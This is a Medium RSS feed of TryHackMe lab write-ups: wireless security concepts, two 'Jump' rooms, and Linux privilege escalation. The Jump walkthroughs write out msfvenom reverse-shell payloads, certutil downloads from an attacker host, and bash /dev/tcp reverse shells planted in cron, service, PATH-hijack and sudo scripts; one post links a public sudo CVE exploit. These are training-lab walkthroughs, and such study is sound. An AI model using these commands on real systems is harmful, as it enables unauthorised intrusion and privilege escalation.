<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jozepjoestar on Medium]]></title>
        <description><![CDATA[Stories by Jozepjoestar on Medium]]></description>
        <link>https://medium.com/@jozepjoestar?source=rss-1fa5e7ca17bb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*A3wk4GJPjMKBaqWQ</url>
            <title>Stories by Jozepjoestar on Medium</title>
            <link>https://medium.com/@jozepjoestar?source=rss-1fa5e7ca17bb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 07:42:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jozepjoestar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Try Hack Me: Wireless Security Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-wireless-security-write-up-def95fbce247?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/def95fbce247</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 14:24:49 GMT</pubDate>
            <atom:updated>2026-11-16T14:24:49.135Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*-GP5uxo2fYEJ5Ealwm9Wsw.png" /></figure><h3>WiFi Network Fundamentals</h3><p>Nowadays, people have adapted to using Wi-Fi to connect to the Internet. It can be found in homes, offices, coffee shops, and airports. It lets devices communicate using radio signals instead of physical cables, which makes connectivity flexible and convenient. But to secure it, you first need to understand how it works.</p><p>The following key components make up a Wi-Fi network:</p><ul><li><strong>Access Point (AP)</strong>: This is the device that is broadcasting the Wi-Fi signal. Think of it as the bridge between your wireless devices and the wired network behind it. A home router is one example of an AP.</li><li><strong>Clients</strong>: These are the devices connecting to an AP to access internal resources or the Internet such as mobile phones, laptops, tablets, printers, and smart devices. Each device has a wireless network interface card (NIC) that handles sending and receiving radio signals.</li></ul><h4>Identifiers in Wi-Fi Networks</h4><p>Every Wi-Fi network needs a way to be identified. Below are two commonly used identifiers.</p><ul><li><strong>SSID (Service Set Identifier):</strong> This is simply the network name that you see when you open your Wi-Fi settings and browse for available networks. E.g., Office_WiFi</li><li><strong>BSSID (Basic Service Set Identifier):</strong> The unique identifier of an access point, which is usually represented by the MAC address of the wireless interface. E.g., 00:1A:2B:3C:4D:5E</li></ul><h4>How Wireless Devices Communicate</h4><p>Devices communicate wirelessly by transmitting radio waves over a shared airspace. Communication between devices occurs within specific frequency bands. The frequency band a device uses determines a lot about its speed, range, and reliability. There are two common frequency bands in Wi-Fi, and each comes with trade-offs:</p><ul><li><strong>2.4 GHz</strong> gives you a better range (up to around 45 metres indoors) and can push through walls and floors more easily. The downside? It’s crowded. Microwaves, Bluetooth devices, baby monitors, and your neighbour’s Wi-Fi are all competing on this band. Additionally, speeds top out at around 600 Mbps.</li><li><strong>5 GHz</strong> is faster (up to around 1300 Mbps) and far less congested, but the signal doesn’t travel as far and struggles more with physical obstacles (around 15 metres indoors). If you’ve ever noticed your connection drop when you walk to another room, you might be on 5 GHz.</li></ul><p>The image below illustrates a side-by-side comparison of the difference between 2.4 GHz and 5 GHz in terms of range, speed, penetration through physical obstacles, and congestion.</p><h4>Association Process</h4><p>When a device joins a Wi-Fi network, the connection process involves multiple steps, including association. The general flow looks like this:</p><ol><li>The device scans the area for available networks</li><li>You (or your device automatically) pick a network to join</li><li>The device and AP exchange authentication details and establish a connection</li><li>Encryption keys get negotiated so traffic can be protected</li><li>Data starts flowing</li></ol><p>One thing worth knowing is that the order of these steps can vary depending on the security protocol in use. With <strong>Open System Authentication</strong>, the AP doesn’t actually verify any credentials during the authentication step. It’s essentially a handshake that says “yes, you can talk to me.”. This happens in both WPA2-Personal and WPA2-Enterprise. The difference is what comes next. In <strong>WPA2-Personal</strong>, the device goes through the 4-way handshake to prove it knows the pre-shared key. In <strong>WPA2-Enterprise with 802.1X</strong>, the device associates first, then gets handed off to a dedicated authentication server (e.g. RADIUS) for full credential-based authentication. Either way, both steps have to be completed before any real data gets exchanged.</p><h4>Factors That Affect Wi-Fi Signals and Coverage</h4><p>The strength and reliability of signals in a Wi-Fi network are influenced by several factors. Below are some of the factors that degrade the quality of a Wi-Fi connection.</p><ul><li><strong>Physical barriers</strong>: Walls, floors, and ceilings weaken the Wi-Fi signal. Concrete and metal are the worst offenders. Even a fish tank full of water can noticeably impact signal strength.</li><li><strong>Distance:</strong> The further you are from the AP, the weaker and less reliable your connection gets.</li><li><strong>Interference:</strong> Electronic devices on similar frequencies can disrupt signals. This includes microwave ovens, Bluetooth devices, and other Wi-Fi networks.</li><li><strong>Channel Congestion:</strong> Multiple networks that operate on overlapping channels could cause performance issues due to signal congestion and competition. In dense environments like apartment blocks, this can seriously hurt performance.</li><li><strong>Signal Leakage:</strong> Signals could extend beyond intended physical boundaries and reach areas such as streets, parking lots, or adjacent offices, which increases exposure if not properly managed.</li></ul><h4>Answer the questions below</h4><p>What is the process that occurs when a device connects to a wireless network?</p><blockquote>Association Process</blockquote><p>What occurs when multiple devices communicate on the same frequency, affecting the wireless signal and coverage?</p><blockquote>Interference</blockquote><h3>WiFi Security</h3><p>Wi-Fi (802.11 standards) is used everywhere. In enterprise environments, Wi-Fi 5 and Wi-Fi 6 are the most common generations you’ll encounter.</p><p>Two pillars of security:</p><ol><li>Authentication: Who is allowed to connect.</li><li>Encryption: Protecting the transmitted data.</li></ol><h3>⚠️ Common Misconfigurations (What to look for)</h3><ul><li>Outdated protocols: WEP (cracked in minutes).</li><li>Weak passwords: Easily brute-forced.</li><li>WPS enabled: Vulnerable to PIN brute-forcing.</li><li>Default credentials: On access point admin panels (routers).</li></ul><h3>🎯 Attack Vectors</h3><ul><li>Password Attacks: Brute-forcing or cracking the Wi-Fi password.</li><li>Rogue AP: An unauthorized access point connected to the network (e.g., an employee plugging in their own router).</li><li>Evil Twin: A fake access point mimicking a legitimate one (same SSID) to trick users into connecting, allowing you to intercept their traffic.</li><li>Deauth Attacks: Forcing clients to disconnect (often to capture the handshake).</li><li>Traffic Interception: Sniffing traffic when encryption is weak.</li></ul><h3>🛡 How to Secure</h3><ul><li>Use WPA2/WPA3 with strong passphrases.</li><li>Disable WEP and WPS.</li><li>Change default administrative credentials.</li><li>Implement network segmentation (e.g., a separate guest network).</li><li>Regularly update access point firmware.</li></ul><h4>Answer the questions below</h4><p>An attacker sets up a wireless access point with the same SSID as a nearby coffee shop’s network. Unsuspecting customers connect to it instead of the legitimate network. What type of attack is this?</p><blockquote>Evil Twin</blockquote><p>A network administrator wants to allow guest devices to connect to Wi-Fi without sharing the main password. Which Wi-Fi feature allows connection by entering an 8-digit PIN instead?</p><blockquote>WPS</blockquote><p>Between WPA2 and WPA3, which protocol is resistant to offline dictionary attacks?</p><blockquote>WPA3</blockquote><h3>Bluetooth Security</h3><p>Bluetooth is a wireless technology (2.4 GHz, short range) used for keyboards, mice, headphones, smartwatches, cars, and IoT devices. Because it’s enabled on personal and corporate devices, it’s a prime target.</p><h3>📡 Two Main Variants</h3><ul><li>Classic Bluetooth: For heavy tasks (audio streaming, file transfer). Uses a proper pairing process with a shared key.</li><li>BLE (Bluetooth Low Energy): For devices sending small bits of data (fitness trackers, smart locks, beacons). Often uses “Just Works” pairing (no user verification), making it easy for an attacker to sit in the middle and intercept traffic.</li></ul><h3>🔑 Pairing &amp; Exchange</h3><ul><li>Old (PIN-based): Easy to brute-force (defaults like 0000 or 1234) or intercept.</li><li>Modern (Secure Simple Pairing / LE Secure Connections): Uses cryptographic key exchange (Bluetooth 2.1+ for Classic, 4.2+ for BLE).</li><li>Old BLE (4.0/4.1): Still uses LE Legacy Pairing (weaker).</li></ul><h3>🚨 Common Risks</h3><ul><li>Unnecessary Discoverability: Device is visible to nearby attackers.</li><li>Weak Pairing: Brute-forcing PINs on old devices.</li><li>Unauthorized Pairing: Weak controls allow attackers to connect.</li><li>Bluejacking: Sending unsolicited messages.</li><li>Bluesnarfing: Stealing data via Bluetooth.</li><li>Bluebugging: Taking control of device functions.</li><li>No Updates: Known vulnerabilities in old implementations.</li></ul><p><em>Attackers must be physically nearby (offices, airports, conferences).</em></p><h3>🛡 Security Considerations</h3><ul><li>Configure devices carefully to minimize exposure.</li><li>Don’t be fooled by the limited range: a vulnerable device can leak data or give an attacker a foothold into the wider network (like leaving a ground-floor window slightly open).</li></ul><h4>Answer the questions below</h4><p>A user is connecting a new pair of wireless headphones to their smartphone and is asked to confirm a six-digit code displayed on both devices. What is this step called?</p><blockquote>Pairing</blockquote><p>What frequency band does Bluetooth operate on?</p><blockquote>2.4 GHz</blockquote><p>An attacker within Bluetooth range gains access to a victim’s phone and downloads their contacts and messages without authorisation. What type of attack is this?</p><blockquote>Bluesnarfing</blockquote><h3>RFID and NFC Security</h3><p>The Difference:</p><ul><li>RFID: Works at distances up to 100 meters (depending on frequency). Used for inventory, access badges.</li><li>NFC: Works only at ~5 cm. It’s a subset of RFID (13.56 MHz) but with two-way communication (payments, transit cards, device pairing).</li></ul><p>How RFID Works:<br>There is a Reader (emits radio waves) and a Tag.</p><ul><li>Passive tags: No battery (draw energy from the reader’s field). Cheap, but limited range.</li><li>Active tags: Have a battery. Longer range, but expensive and have a limited lifespan.</li></ul><h3>🚨 Security Risks (Attacks)</h3><ul><li>Eavesdropping: Intercepting the signal when a card is scanned.</li><li>Cloning: Copying data from one card to another.</li><li>Relay Attack: Two attackers (one near the victim’s pocket, one near the terminal) relay the signal in real time. The terminal thinks the card is present and processes the transaction.</li><li>Skimming: Secretly scanning a card without the owner’s knowledge.</li><li>Lost/Stolen Cards: If a badge isn’t revoked, it can be used to gain access.</li></ul><h3>🛡 Security Considerations</h3><ul><li>Use cards with encryption.</li><li>Limit sensitive data stored on cards (use tokenization).</li><li>Immendiately deactivate lost or stolen cards.</li><li>Use Faraday pouches/sleeves (protection against skimming).</li><li>Update access controls regularly.</li><li>Implement biometric secondary authentication where possible.</li></ul><h4>Answer the questions below</h4><p>An attacker reads the data stored on an employee’s access badge and writes it to a blank card. What is this technique called?</p><blockquote>Cloning</blockquote><p>An employee reports their access badge as lost. To prevent unauthorised building access, what should be done to the card’s access rights?</p><blockquote>Deactivated</blockquote><h3>Other Wireless Technologies</h3><p>Beyond Wi-Fi, Bluetooth, and NFC, IoT and smart environments use other protocols, each with its own vulnerabilities.</p><h3>🔌 Technologies</h3><ul><li>Zigbee: Short-range, low-power (smart lights, sensors). Operates on a mesh topology (devices relay data to each other, extending the network).</li><li>Z-Wave: Similar to Zigbee but more standardized. Wider range (thermostats, locks, lights).</li><li>LoRa: Long-range (kilometers) with low power consumption. Used for agriculture, street lighting, environmental monitoring.</li><li>Cellular (LTE-M, NB-IoT): Sends data over cell towers (like a smartphone). Used for smart meters, trackers.</li><li>Infrared: Light signals (TV/AC remotes). Largely outdated.</li></ul><h3>🚨 Security Risks (Attack Examples)</h3><ul><li>Zigbee: When a new device joins, the coordinator sends the network key encrypted with a default link key. An attacker can sniff the pairing window and recover the key. Because of the mesh topology, compromising one device allows relaying malicious commands across the network. <em>Example: CVE-2020–6007 in Philips Hue bulbs.</em></li><li>Z-Wave: The legacy S0 framework encrypted the key with a static value of all zeroes (trivial to intercept). The newer S2 uses Diffie-Hellman, but devices supporting both can be forced to downgrade to S0 (Z-Shave attack). <em>Example: Yale smart lock compromise.</em></li><li>LoRa: Devices using ABP (Activation By Personalization) use static session keys. A frame counter reset after a reboot allows an attacker to replay previously captured traffic (Replay Attack).</li><li>Cellular IoT: Protected by SIM authentication and encryption, but devices are often deployed remotely (physical tampering, firmware extraction). Management interfaces are vulnerable (default credentials, injection flaws).</li><li>Infrared: No authentication or encryption. Signals can be captured and replayed. Protocols (NEC, RC5) are publicly documented, allowing attackers to generate commands without capturing any signal.</li></ul><h3>🛡 Security Considerations</h3><ul><li>Zigbee: Use install codes (derive a unique link key per device during pairing).</li><li>Z-Wave: Turn off S0 backward compatibility on controllers.</li><li>LoRa: Use OTAA (generates fresh session keys per join) instead of ABP. If ABP is unavoidable, rotate keys and monitor frame counters.</li><li>Cellular: Change default credentials, place behind a VPN/private APN, apply firmware updates.</li><li>Infrared: Deactivate unused IR receivers on network-connected devices.</li><li>General: Segment IoT devices onto dedicated network segments to isolate them from sensitive data.</li></ul><h4>Answer the questions below</h4><p>A homeowner installs smart lights and motion sensors that communicate with a central hub using a low-power mesh network. Which wireless technology from this task best fits this scenario?</p><blockquote>Zigbee</blockquote><p>Between S0 and S2, which Z-Wave security framework is vulnerable to key interception due to its use of an all-zero encryption key?</p><blockquote>S0</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=def95fbce247" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Windows Jump Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-windows-jump-write-up-faafdbdb529c?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/faafdbdb529c</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Tue, 03 Nov 2026 16:13:00 GMT</pubDate>
            <atom:updated>2026-11-03T16:13:00.941Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*0gRGAh6SwgjK8pj368k66Q.png" /></figure><h3>Reconnaissance</h3><p>first I tried nmap</p><pre>nmap -sC -sV &lt; Target IP &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*mdTyrJwQ7wScfYRqz9U57g.png" /></figure><p>next I tried smbclient</p><pre>smbclient -L //&lt; Target IP &gt; -N</pre><p>there I found welcome.txt and there were password for thmuser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQ_niZxMLOYcHjCu6oUxhQ.png" /></figure><h3>1 flag</h3><p>we have password lets connect by rdp</p><pre>xfreerdp /v:&lt; Target IP &gt; /u:thmuser</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*m8Krh9Z88tx0TMYylCoG4A.png" /></figure><h3>2 flag</h3><p>to get second flag use the comand below</p><pre>reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;</pre><p>now we get credentials, next use runas to get notadmins cmd</p><pre>runas /user:notadmin cmd.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*eZeFXHdUXrB2Zs9mtQUrxQ.png" /></figure><h3>3 flag</h3><p>now we have to find vulnerable part for svcadmin</p><pre>wmic service get name,pathname | findstr /i &quot;svcadmin&quot;&lt; Your AttackBox IP &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*9FERD-foFab48cD0724VWQ.png" /></figure><p>service THMSvc run svc.exe from svcadmin</p><p>now create a payload</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt; Your AttackBox IP &gt; LPORT=4446 -f exe-service -o svc.exe</pre><p>and start http server</p><pre>python3 -m http.server 80</pre><p>and download it on windows machine</p><pre>cd c:\Windows\THMSVC<br>certutil -urlcache -split -f http://&lt; Your AttackBox IP &gt;/svc.exe svc.exe</pre><p>and start netcat</p><pre>nc -lvnp 4446</pre><p>and start THMSvc</p><pre>sc start THMSvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*xE_QQsFQNtJlbC2pbazsbg.png" /></figure><h3>4 flag</h3><p>in \Windows\Tasks we can find cleanup.bat</p><p>lets create a payload</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt; Your AttackBox IP &gt; LPORT=4447 -f exe -o shell.exe</pre><p>start http server</p><pre>python3 -m http.server 80</pre><p>start netcat</p><p>download the file</p><pre>cd c:\Windows\Tasks<br>certutil -urlcache -split -f http://&lt; Your AttackBox IP &gt;/shell.exe C:\Windows\Tasks\shell.exe</pre><p>and rename it</p><pre>echo C:\Windows\Tasks\shell.exe &gt; C:\Windows\Tasks\cleanup.bat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*UayeIDSHjzqYs3eoPIwAng.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=faafdbdb529c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Jump Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-jump-write-up-7ac23c48942c?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ac23c48942c</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 16:04:12 GMT</pubDate>
            <atom:updated>2026-11-02T16:04:12.330Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Cc-MW1kH04TFaKLKtubdcw.png" /></figure><h3>Reconnaissance</h3><p>First I tried nmap</p><pre>nmap -sC -sV &lt; Target IP &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U6D6TUxyOooX2S09zBrjUg.png" /></figure><p>as you can see its only 2 ports open 22 — SSH and 21 — FTP</p><p>FTP is open lets connect</p><pre>ftp &lt; Target IP &gt;</pre><p>next I downloaded README.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*3_vng6HSwaJLMStCv96zpQ.png" /></figure><p>The README.txt file contains key information: all files uploaded to the incoming folder are processed automatically. This is our vector for obtaining an initial shell.</p><h3>1 flag&lt; Target IP &gt;</h3><p>to connect to recon_user we have to make a new file</p><pre>touch exp.sh</pre><p>next put there the exploit</p><pre>echo &#39;bash -i &gt;&amp; /dev/tcp/&lt; Target IP &gt;/4444 0&gt;&amp;1&#39; &gt; exp.sh</pre><p>next conect to ftp again and put there the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*DJlXq9SfWbflTTW2PTQq-A.png" /></figure><p>and start netcat</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*hiFJxIjqXmVcDQiwUWq27Q.png" /></figure><h3>2 flag</h3><p>from hint we know that dev_users planned tasks is in /opt/dev/backup.sh</p><p>now you have to make a payload by command below</p><pre>echo ‘bash -i &gt;&amp; /dev/tcp/&lt; Your Attackbox IP &gt;/4445 0&gt;&amp;1’ &gt; /opt/dev/backup.sh</pre><p>and start netcat</p><pre>nc -lvnp 4445</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*MT2a70VCXQ_nCAYtIr7CMA.png" /></figure><h3>3 flag</h3><p>now we are dev_user , and its The service healthcheck runs the ps command</p><p>the way to vulnerable part is /opt/dev/bin/</p><p>lets navigate there</p><pre>cd  /opt/dev/bin/</pre><p>and now make a payload with commands bellow</p><pre>echo &#39;#!/bin/bash&#39; &gt; ps<br>echo &#39;bash -i &gt;&amp; /dev/tcp/&lt; Your Attackbox IP &gt;/4446 0&gt;&amp;1&#39; &gt;&gt; ps<br>chmod +x ps</pre><p>and start netcat and wait a minute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*iYjNfH9_s3n3_mD79gXNFw.png" /></figure><h3>4 flag</h3><p>now use sudo -l</p><pre>sudo -l</pre><p>we can see /usr/local/bin/deploy.sh if you look there You will see that it redirects to deploy_helper.sh</p><p>use the command below</p><pre>cd /opt/app</pre><p>and make a payload</p><pre>echo &#39;bash -i &gt;&amp; /dev/tcp/&lt; Your Attackbox IP &gt;/5556 0&gt;&amp;1&#39; &gt;&gt; deploy_helper.sh</pre><p>next start netcat</p><p>then run the deploy_helper.sh</p><pre>sudo -u ops_user /usr/local/bin/deploy.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*7KRjXOzIGO1yXE9AeXPrCw.png" /></figure><h3>5 flag</h3><p>now just use the command below and you get your flag</p><pre>sudo -u root less /root/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*JVz-TE-nHN2zwWr-x1cDNQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ac23c48942c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me:Linux Privilege Escalation: Automation Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-linux-privilege-escalation-automation-write-up-c20257f8399b?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c20257f8399b</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 15:20:44 GMT</pubDate>
            <atom:updated>2026-10-31T15:20:44.639Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*MVEGEmTQW7-qYWfSB8b0Pg.png" /></figure><h3>Automated Enumeration Tools</h3><p>Several tools can help you save time during the enumeration process. These tools should only be used to save time, knowing they may miss some privilege escalation vectors. Below is a list of popular Linux enumeration tools with links to their respective GitHub repositories.</p><p>The target system’s environment will influence the tool you will be able to use. For example, you will not be able to run a tool written in Python if it is not installed on the target system. This is why it would be better to be familiar with a few rather than having a single go-to tool.</p><ul><li><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS"><strong>LinPeas</strong></a>: Automated script that highlights privilege escalation paths across the system — misconfigs, weak permissions, credentials, and more</li><li><a href="https://github.com/rebootuser/LinEnum"><strong>LinEnum</strong></a>: Scripted local enumeration tool that dumps system info, users, crons, and SUID binaries in a readable report</li><li><a href="https://github.com/mzet-/linux-exploit-suggester"><strong>LES (Linux Exploit Suggester)</strong></a>: Matches the kernel version against known CVEs and suggests applicable local privilege escalation exploits</li><li><a href="https://github.com/diego-treitos/linux-smart-enumeration"><strong>Linux Smart Enumeration</strong></a>: Enumeration script with adjustable verbosity levels — starts quiet and reveals more detail as the level increases</li><li><a href="https://github.com/linted/linuxprivchecker"><strong>Linux Priv Checker</strong></a>: Enumerates system info and automatically checks for common privilege escalation opportunities, flagging issues inline</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/20/0*TJHajfx3LCmqcPCa" /></figure><p><strong>Note:</strong> You can find Linux Exploit Suggester in <strong>john</strong>’s home directory.</p><h4>Answer the questions below</h4><p>Run Linux Exploit Suggester to enumerate the target host. What CVE is listed as the first Possible Exploit the target is vulnerable to?</p><p>we have to use LES , it downloaded so navigate to this directory and run it</p><pre>cd linux-exploit-suggest<br>./linux-exploit-suggester.sh</pre><blockquote>CVE-2025–32463</blockquote><h3>Public Exploits</h3><h4>Public Exploits</h4><p>Many privilege escalation techniques rely on misconfigurations; a sudo rule that’s too permissive, a cron job calling a world-writable script, or a capability assigned to a binary that shouldn’t have one. In these cases, the software is working exactly as designed; someone just configured it poorly.</p><p>Public exploits are different. Here, the software itself is broken. A bug in the code (a buffer overflow, a race condition, a logic error) allows you to do something the developers never intended. When these bugs are discovered, they’re assigned a CVE (Common Vulnerabilities and Exposures) identifier, and often, working exploit code is published publicly.</p><h4>Methodology</h4><p>Using a public exploit isn’t just about downloading code and running it. There’s a process, and skipping steps is how you crash machines or waste hours on exploits that were never going to work. The general workflow looks like this:</p><ul><li><strong>Enumerate:</strong> Identify what software is installed and what versions are running. You already know how to do this from the enumeration lab. Key things to note: kernel version, distro version, and any SUID binaries or services running as root.</li><li><strong>Research:</strong> Take what you found and search for known vulnerabilities. Is there a CVE for that version? Is there a public exploit available? Does it match your target’s architecture and distribution?</li><li><strong>Evaluate:</strong> Not every exploit you find will work. Read the code. Understand what it does. Check the requirements: does it need gcc on the target? Does it only work on specific kernel versions? Will it crash the system?</li><li><strong>Exploit:</strong> Transfer the exploit to the target, compile it if necessary, and run it.</li><li><strong>Verify:</strong> Confirm you have elevated privileges. Check whoami, id, and try accessing something you couldn&#39;t before.</li></ul><h4>Where to Find Public Exploits</h4><p>There are several go-to resources for finding exploit code. You should be comfortable using all of them.</p><p><strong>searchsploit (Exploit-DB offline)</strong></p><p>searchsploit is a command-line tool that searches a local copy of the Exploit-DB database. It comes pre-installed on Kali.</p><p>Usage:</p><p>searchsploit &lt;software&gt; &lt;version&gt;</p><p><strong>GitHub</strong></p><p>GitHub has many repositories containing public exploits for known CVEs. If you ever find a CVE for a specific software version, you can do a Google search for a GitHub repository.</p><p>CVE-&lt;id&gt; github</p><p><strong>Enumeration Tools</strong></p><p>Tools like Linpeas don’t just identify misconfigurations — they also check for known CVEs. If Linpeas flags a vulnerable version of software, it will often include the CVE number, which gives you a direct starting point for your research.</p><h4>Kernel Exploits</h4><p>The kernel is the most privileged piece of software on a Linux system. A vulnerability in the kernel can allow you to jump straight from an unprivileged user to root, regardless of how well everything else is configured.</p><p>Reminder on how to enumerate the kernel version on a target:</p><p>uname -r</p><p>uname -a</p><p>cat /etc/os-release</p><p>Then search for known exploits against that version using searchsploit or Google.</p><h4>Non-Kernel Public Exploits</h4><p>Not all public exploits target the kernel. Many privilege escalation CVEs exist in userland software — programs and utilities that happen to run with elevated privileges. These are often easier to exploit and less likely to crash the system.</p><p>Next, you will have to use a public exploit to gain root privileges on the lab machine. Previously, you identified that the target is vulnerable to a CVE. Now you have to exploit this to gain root privileges. You can find the exploit on GitHub, download it onto your AttackBox, then upload it onto the target using scp.</p><p>scp &lt;file&gt; john@10.80.132.48:/home/john/</p><h4>Answer the questions below</h4><p>Exploit the previously identified vulnerability. What is the content of /root/flag.txt?</p><p>I found that CVE on github <a href="https://github.com/kh4sh3i/CVE-2025-32463">https://github.com/kh4sh3i/CVE-2025-32463</a></p><p>we wount use scpwe are going to use nano</p><p>just put exploit from github to your file for exaple:</p><pre>nano txt.sh</pre><p>we must change privilegion for our file</p><pre>chmod +x exp.sh</pre><p>and finaly run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*fkQZ2NLk4SODuUN0pItLMg.png" /></figure><h3>pspy</h3><h4>The Polling Issue</h4><p>While the automated tools mentioned in the previous task are excellent at enumerating static misconfigurations, they only capture a snapshot of the system at the time they run. They can’t tell you what processes are running in the background, especially short-lived ones like cron jobs or scheduled scripts that execute and exit in milliseconds. This is where <a href="https://github.com/dominicbreuker/pspy">pspy</a> fills the gap.</p><p>pspy is a process monitoring tool that lets unprivileged users observe running processes, cron jobs, and commands executed by other users in real time, without requiring root privileges.</p><h4>Event-driven Approach</h4><p>On Linux, processes are isolated — low-privileged users can only see their own processes via /proc. Short-lived tasks (like cron jobs) may exit before anyone can observe them, making traditional polling tools unreliable for discovery.</p><p><strong>pspy</strong> uses an event-driven approach instead of polling. It sets inotify watches on commonly accessed directories (e.g., /etc, /tmp, /usr, /var). When filesystem activity is detected, pspy scans /proc to identify the new process, capturing its <strong>UID</strong>, <strong>PID</strong>, <strong>timestamp</strong>, and <strong>full command</strong> — even for processes run by other users.</p><p>This works because process metadata in /proc is briefly available during a process&#39;s lifetime, even to unprivileged users. pspy doesn&#39;t bypass any kernel permissions — it just reacts fast enough to catch what polling tools miss.</p><h4>Using pspy</h4><p><strong>pspy</strong> can be found in /home/john/.</p><p>Run pspy from <strong>john</strong>’s home directory as such:</p><p>./pspy64</p><p>After a short delay, you should see a root process, similar to the example below.</p><p>Terminal</p><pre>2026/02/10 06:40:11 CMD: UID=0     PID=12     |<br>2026/02/10 06:40:11 CMD: UID=0     PID=11     |<br>2026/02/10 06:40:11 CMD: UID=0     PID=10     |<br>2026/02/10 06:40:11 CMD: UID=0     PID=9      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=8      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=7      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=6      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=5      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=4      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=3      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=2      |<br>2026/02/10 06:40:11 CMD: UID=0     PID=1      | /sbin/init<br>2026/02/10 06:40:16 CMD: UID=0     PID=1937   | /bin/bash /root/run-backup.sh<br>2026/02/10 06:40:16 CMD: UID=0     PID=1938   | tar -czf /var/backup/syslog.tar.gz /var/log/syslog<br>2026/02/10 06:40:16 CMD: UID=0     PID=1939   | /bin/sh -c gzip<br>2026/02/10 06:40:16 CMD: UID=0     PID=1940   | gzip<br>2026/02/10 06:40:16 CMD: UID=0     PID=1941   | sleep 10<br>2026/02/10 06:40:16 CMD: UID=0     PID=1942   | /bin/bash /root/run-rm-tmp.sh<br>2026/02/10 06:40:16 CMD: UID=0     PID=1943   | /bin/bash /usr/local/bin/rm-tmp.sh<br>2026/02/10 06:40:16 CMD: UID=0     PID=1944   | /bin/bash /usr/local/bin/rm-tmp.sh<br>2026/02/10 